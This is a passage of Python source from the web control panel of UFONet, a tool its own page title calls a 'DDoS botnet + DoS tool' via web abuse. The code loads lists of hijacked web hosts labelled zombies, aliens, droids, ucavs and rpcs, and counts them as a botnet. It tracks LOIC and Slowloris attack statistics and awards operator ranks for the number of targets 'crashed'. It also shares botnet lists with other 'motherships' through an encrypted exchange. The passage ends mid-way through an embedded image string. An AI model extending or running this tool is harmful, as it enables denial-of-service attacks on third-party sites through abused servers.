  986. </tr></table></td><td><button title="Refresh data transferred by blackhole..." onClick="RefreshBlackhole()" style="color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;">Open Warp!</button></td></tr></table>
  987. <hr>
  988. <table cellpadding="5" cellspacing="5"><tr>
  989. <td><a href="javascript:alert('Dhïkta says: """ + self.ranking + """... I can open warps directly to blackholes created by other motherships. This is nice to share and increase your legion on a crypto-distributed way...');"><img src="/images/aliens/alien3.png"></a></td><td>
  990. <table cellpading="5" cellspacing="10"><tr><td>
  991. <form method='GET'>
  992. Your key: <input type="text" name="blackhole_key" id="blackhole_key" size="20" value='"""+self.crypto_key+"""'>
  993. </td></tr><tr><td>
  994. <a onclick='javascript:Decrypt();' href='javascript:show('nb1');'>Try decryption!</a>
  995. </form>
  996. </td></tr></table></td></tr></table>
  997. <hr><br>
  998. </center>
  999. Last update: <font color='"""+ self.blackholes_status_color + """'>"""+ self.blackholes_datetime + """</font><br><br>
  1000. <div id="cmdOut"></div>
  1001. <div id="nb1" style="display: block;">"""+self.blackholes_text+"""</div>
  1002. """ + self.pages["/footer"]
  1003. def __init__(self):
  1004. self.crypto_key = crypto_key # set default symmetric crypto key
  1005. self.agents_file = 'core/txt/user-agents.txt' # set source path to retrieve user-agents
  1006. self.motherships_file = 'core/txt/motherships.txt' # set source path to retrieve mothership names
  1007. self.board_file = 'server/board.txt' # set source path to retrieve board warning message
  1008. self.grid_file = 'server/grid.txt' # set source path to retrieve grid
  1009. self.board_warning = "" # set initial (str) board warning message
  1010. self.wargames_file = 'server/wargames.txt' # set source path to retrieve wargames
  1011. self.zombies_file = "botnet/zombies.txt" # set source path to retrieve 'zombies'
  1012. self.aliens_file = "botnet/aliens.txt" # set source path to retrieve 'aliens'
  1013. self.droids_file = "botnet/droids.txt" # set source path to retrieve 'droids'
  1014. self.ucavs_file = "botnet/ucavs.txt" # set source path to retrieve 'ucavs'
  1015. self.rpcs_file = "botnet/rpcs.txt" # set source path to retrieve 'rpcs'
  1016. self.release_date_file = "docs/release.date" # set source path to retrieve release date
  1017. self.news = "server/news.txt" # set source path to retrieve server news
  1018. self.missions = "server/missions.txt" # set source path to retrieve server missions
  1019. self.mothership_webcfg_file = 'core/json/webcfg.json' # set source for mothership webcfg
  1020. self.mothership_stats_file = 'core/json/stats.json' # set source for mothership stats
  1021. self.mothership_boardcfg_file = 'core/json/boardcfg.json' # set source for mothership boardcfg
  1022. self.mothership_gridcfg_file = 'core/json/gridcfg.json' # set source for mothership gridcfg
  1023. self.ranking = "Rookie Star" # set starting rank
  1024. self.decryptedtext = "" # set buffer for decryption
  1025. self.encryptedtext = "" # set buffer for encryption
  1026. self.blackholes = "server/nodes.dat" # set source path to retrieve server blackholes (nodes.dat)
  1027. self.blackhole = default_blackhole # set default blackhole
  1028. self.blackholes_status = "Not connected!" # set default status for blackholes
  1029. self.blackholes_status_color = "red" # set default status color for blackholes
  1030. self.referer = 'http://127.0.0.1/'
  1031. f = open(self.release_date_file) # extract release creation datetime
  1032. self.release_date = f.read()
  1033. # adding AnonTwi (anontwi.03c8.net) cyphering -> AES256+HMAC-SHA1
  1034. self.trans_5C = "".join([chr (x ^ 0x5c) for x in xrange(256)])
  1035. self.trans_36 = "".join([chr (x ^ 0x36) for x in xrange(256)])
  1036. f.close()
  1037. f = open(self.blackholes) # double extract blackholes (nodes.dat)
  1038. self.blackholes_text = f.read()
  1039. f.close()
  1040. f = open(self.blackholes)
  1041. self.blackholes_block = f.readlines()
  1042. f.close()
  1043. self.list_blackholes = []
  1044. for b in self.blackholes_block:
  1045. self.list_blackholes.append(b)
  1046. self.blackholes_datetime = time.ctime(os.path.getctime('server/nodes.dat')) # extract nodes.dat datetime
  1047. if self.blackholes_datetime == self.release_date_file: # never connected to feeds
  1048. self.blackholes_status_color = "red" # set status color for blackholes to 'red'
  1049. else:
  1050. self.blackholes_status_color = "green" # set status color for blackholes to 'green'
  1051. f = open(self.news) # double extract news
  1052. self.news_text = f.read()
  1053. f.close()
  1054. f = open(self.news)
  1055. self.news_block = f.readlines()
  1056. f.close()
  1057. self.list_news = []
  1058. for n in self.news_block:
  1059. self.list_news.append(n)
  1060. self.news_datetime = time.ctime(os.path.getctime('server/news.txt')) # extract news.txt datetime
  1061. if self.news_datetime == self.release_date_file: # never connected to feeds
  1062. self.news_status_color = "red" # set status color for news to 'red'
  1063. else:
  1064. self.news_status_color = "green" # set status color for news to 'green'
  1065. f = open(self.board_file) # double extract board
  1066. self.moderator_text = f.read()
  1067. f.close()
  1068. f = open(self.board_file)
  1069. self.moderator_block = f.readlines()
  1070. f.close()
  1071. self.list_moderator = []
  1072. for n in self.moderator_block:
  1073. self.list_moderator.append(n)
  1074. f = open(self.grid_file) # double grid board
  1075. self.grid_text = f.read()
  1076. f.close()
  1077. f = open(self.grid_file)
  1078. self.grid_block = f.readlines()
  1079. f.close()
  1080. self.list_grid = []
  1081. for n in self.grid_block:
  1082. self.list_grid.append(n)
  1083. f = open(self.wargames_file) # double wargames board
  1084. self.wargames_text = f.read()
  1085. f.close()
  1086. f = open(self.wargames_file)
  1087. self.wargames_block = f.readlines()
  1088. f.close()
  1089. self.list_wargames = []
  1090. for n in self.wargames_block:
  1091. self.list_wargames.append(n)
  1092. f = open(self.missions) # double extract missions
  1093. self.missions_text = f.read()
  1094. f.close()
  1095. f = open(self.missions)
  1096. self.missions_block = f.readlines()
  1097. f.close()
  1098. self.list_missions = []
  1099. for m in self.missions_block:
  1100. self.list_missions.append(m)
  1101. self.missions_datetime = time.ctime(os.path.getctime('server/missions.txt')) # extract missions.txt datetime
  1102. if self.missions_datetime == self.release_date_file: # never connected to feeds
  1103. self.missions_status_color = "red" # set status color for missions to 'red'
  1104. else:
  1105. self.missions_status_color = "green" # set status color for missions to 'green'
  1106. stats_json_file = open(self.mothership_stats_file, "r") # extract mothership stats
  1107. data = json.load(stats_json_file)
  1108. stats_json_file.close()
  1109. self.abductor = Abductor(self) # call abductor for data size conversor
  1110. self.aflying = data["flying"]
  1111. self.ascanner = data["scanner"]
  1112. self.atransferred = data["transferred"]
  1113. self.amax_chargo = data["max_chargo"]
  1114. self.amissions = data["missions"]
  1115. self.acompleted = data["completed"]
  1116. self.aloic = data["loic"]
  1117. self.aloris = data["loris"]
  1118. self.tcrashed = data["crashed"]
  1119. if int(self.acompleted) > 0: # check for attacks completed
  1120. self.mothership_acc = Decimal((int(self.tcrashed) * 100) / int(self.acompleted)) # decimal rate: crashed*100/completed
  1121. else:
  1122. self.mothership_acc = 100 # WarGames: "the only way to win in Nuclear War is not to play"
  1123. if int(self.acompleted) < 5: # generating motherships commander ranks by rpg/experiences
  1124. self.ranking = "Rookie"
  1125. elif int(self.acompleted) > 4 and int(self.tcrashed) < 1: # add first ranking step on 5 complete attacks
  1126. self.ranking = "Mercenary"
  1127. elif int(self.tcrashed) > 1 and int(self.tcrashed) < 5: # second ranking step with almost 1 crashed
  1128. self.ranking = "Bandit"
  1129. elif int(self.tcrashed) > 5: # third ranking value is only for real "crashers" ;-)
  1130. self.ranking = "UFOmmander!"
  1131. f = open(self.zombies_file)
  1132. self.zombies = f.readlines()
  1133. self.zombies = [zombie.replace('\n', '') for zombie in self.zombies]
  1134. self.list_zombies = []
  1135. for zombie in self.zombies:
  1136. t = urlparse(zombie)
  1137. name_zombie = t.netloc
  1138. self.list_zombies.append(name_zombie)
  1139. self.num_zombies = str(len(self.zombies))
  1140. f.close()
  1141. f = open(self.aliens_file)
  1142. self.aliens = f.readlines()
  1143. self.aliens = [alien.replace('\n', '') for alien in self.aliens]
  1144. self.list_aliens = []
  1145. for alien in self.aliens:
  1146. t = urlparse(alien)
  1147. name_alien = t.netloc
  1148. self.list_aliens.append(name_alien)
  1149. self.num_aliens = str(len(self.aliens))
  1150. f.close()
  1151. f = open(self.droids_file)
  1152. self.droids = f.readlines()
  1153. self.droids = [droid.replace('\n', '') for droid in self.droids]
  1154. self.list_droids = []
  1155. for droid in self.droids:
  1156. t = urlparse(droid)
  1157. name_droid = t.netloc
  1158. self.list_droids.append(name_droid)
  1159. self.num_droids = str(len(self.droids))
  1160. f.close()
  1161. f = open(self.ucavs_file)
  1162. self.ucavs = f.readlines()
  1163. self.ucavs = [ucav.replace('\n', '') for ucav in self.ucavs]
  1164. self.list_ucavs = []
  1165. for ucav in self.ucavs:
  1166. t = urlparse(ucav)
  1167. name_ucav = t.netloc
  1168. self.list_ucavs.append(name_ucav)
  1169. self.num_ucavs = str(len(self.ucavs))
  1170. f.close()
  1171. f = open(self.rpcs_file)
  1172. self.rpcs = f.readlines()
  1173. self.rpcs = [rpc.replace('\n', '') for rpc in self.rpcs]
  1174. self.list_rpcs = []
  1175. for rpc in self.rpcs:
  1176. t = urlparse(rpc)
  1177. name_rpc = t.netloc
  1178. self.list_rpcs.append(name_rpc)
  1179. self.num_rpcs = str(len(self.rpcs))
  1180. f.close()
  1181. self.total_botnet = str(int(self.num_zombies) + int(self.num_aliens) + int(self.num_droids) + int(self.num_ucavs) + int(self.num_rpcs))
  1182. self.mothership_ids = [] # generating name/id for your mothership ;-)
  1183. f = open(self.motherships_file)
  1184. motherships = f.readlines()
  1185. f.close()
  1186. for ship in motherships:
  1187. self.mothership_ids.append(base64.urlsafe_b64encode(ship))
  1188. self.mothership_id = str(base64.b64decode(random.choice(self.mothership_ids).strip()))
  1189. self.options = UFONetOptions()
  1190. self.pages = {}
  1191. self.pages["/header"] = """<!DOCTYPE html><html>
  1192. <head>
  1193. <link rel="icon" type="image/png" href="/images/favicon.ico" />
  1194. <meta name="author" content="psy">
  1195. <meta name="robots" content="noindex, nofollow">
  1196. <meta http-equiv="content-type" content="text/xml; charset=utf-8" />
  1197. <title>UFONet - (DDoS botnet + DoS tool] via Web Abuse</title>
  1198. <script language="javascript" src="/lib.js"></script>
  1199. <script language="javascript" src="js/stars.js"></script>
  1200. <style>
  1201. body{font-size:15px}a,a:hover{outline:none;color:red;font-size:14px;font-weight:700}nav ul ul{display:none}nav ul li:hover > ul{display:block}nav ul{list-style:none;position:relative;display:inline-table}nav ul:after{content:"";clear:both;display:block}nav ul li{font-size:12px}nav ul li a{display:block;padding:2px 3px}html,body{height:100%}ul,li{margin:0;padding:0}.ringMenu{width:100px;margin:80px auto}.ringMenu ul{list-style:none;position:relative;width:100px;color:#fff}.ringMenu ul a{color:#fff}.ringMenu ul li{-webkit-transition:all .3s ease-in-out;-moz-transition:all .3s ease-in-out;-o-transition:all .3s ease-in-out;transition:all .3s ease-in-out}.ringMenu ul li a{display:block;width:100px;height:100px;background:rgba(50,50,50,0.7);text-align:center;line-height:100px;-webkit-border-radius:50px;-moz-border-radius:50px;border-radius:50px}.ringMenu ul li a:hover{background:rgba(230,150,20,0.7)}.ringMenu ul li:not(.main){-webkit-transform:rotate(-180deg) scale(0);-moz-transform:rotate(-180deg) scale(0);-o-transform:rotate(-180deg) scale(0);transform:rotate(-180deg) scale(0);opacity:0}.ringMenu:hover ul li{-webkit-transform:rotate(0) scale(1);-moz-transform:rotate(0) scale(1);-o-transform:rotate(0) scale(1);transform:rotate(0) scale(1);opacity:1}.ringMenu ul li.top{-webkit-transform-origin:50% 152px;-moz-transform-origin:50% 152px;-o-transform-origin:50% 152px;transform-origin:50% 152px;position:absolute;top:-102px;left:0}.ringMenu ul li.bottom{-webkit-transform-origin:50% -52px;-moz-transform-origin:50% -52px;-o-transform-origin:50% -52px;transform-origin:50% -52px;position:absolute;bottom:-102px;left:0}.ringMenu ul li.right{-webkit-transform-origin:-52px 50%;-moz-transform-origin:-52px 50%;-o-transform-origin:-52px 50%;transform-origin:-52px 50%;position:absolute;top:0;right:-102px}.ringMenu ul li.left{-webkit-transform-origin:152px 50%;-moz-transform-origin:152px 50%;-o-transform-origin:152px 50%;transform-origin:152px 50%;position:absolute;top:0;left:-102px}textarea{padding:30px 0}
  1202. </style>"""
  1203. self.pages["/footer"] = """</center></body>
  1204. </html>
  1205. """
  1206. self.pages["/ufonet-logo.png"] = base64.b64decode("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